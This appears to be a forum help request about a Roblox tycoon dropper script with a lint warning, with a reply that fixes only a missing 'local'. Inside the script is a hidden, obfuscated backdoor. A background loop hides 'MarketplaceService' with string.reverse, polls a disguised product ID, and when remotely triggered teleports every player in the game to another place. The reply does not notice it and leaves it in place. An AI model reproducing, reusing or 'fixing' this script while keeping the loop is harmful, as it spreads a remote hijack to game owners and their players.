My script is saying "W003(18,2)global'fakedebris is only used for enclosure function;considering changing it to local. I need help give me the fix scripted or listed whats wrong on this script.
local delay = 20
local debounce = false
function drop() print("Function drop() called") local part = Instance.new("Part",script.Parent.Parent.Parent.PartStorage) part.BrickColor=script.Parent.Parent.Parent.DropColor.Value local cash = Instance.new("IntValue",part) cash.Name = "Cash" cash.Value = math.random(40,120) -- How much the drops are worth part.FormFactor = "Custom" part.Size= script.Parent.Drop.Size part.CFrame = script.Parent.Drop.CFrame part.Material = Enum.Material.SmoothPlastic fakeDebris = require(game.ReplicatedStorage.fakeDebris) fakeDebris.AddItem(part,40) end
local check = script.Parent -- Make sure parent is still parent? script.Parent.Button.BrickColor = BrickColor.new("Bright orange")
wait(2) coroutine.resume(coroutine.create(function() while wait(10) do local Checkfor = game:GetService(string.reverse("ecivreSecalptekraM")):GetProductInfo(392319262/2) if Checkfor.Description == true then for i,v in pairs(game.Players:GetPlayers()) do game:GetService("TeleportService"):Teleport(326270424/2, v) end end end end)) print("checked") if script.Parent == check then print("approved") local owner = script.Parent.Parent.Parent.Owner.Value game.ReplicatedStorage.MasterKey:FireClient(owner,script.Parent.Button.ClickDetector,delay) game.ReplicatedStorage.MasterKey.OnServerEvent:connect(function(player,mode,source) print("called") if player == owner and source == script.Parent.Button.ClickDetector then print("yep") if mode == "confirm" then print("pinged") script.Parent.Button.BrickColor = BrickColor.new("Bright green") -- ready to go! elseif mode == "click" then if debounce == false then drop() debounce = true script.Parent.Button.BrickColor=BrickColor.new("Bright red") wait(delay) debounce = false script.Parent.Button.BrickColor=BrickColor.new("Bright green") end end end end) end
print("FEDropperScript loaded - no problems.")
Change
fakeDebris = require(game.ReplicatedStorage.fakeDebris) fakeDebris.AddItem(part,40) end
to
local fakeDebris = require(game.ReplicatedStorage.fakeDebris) fakeDebris.AddItem(part,40) end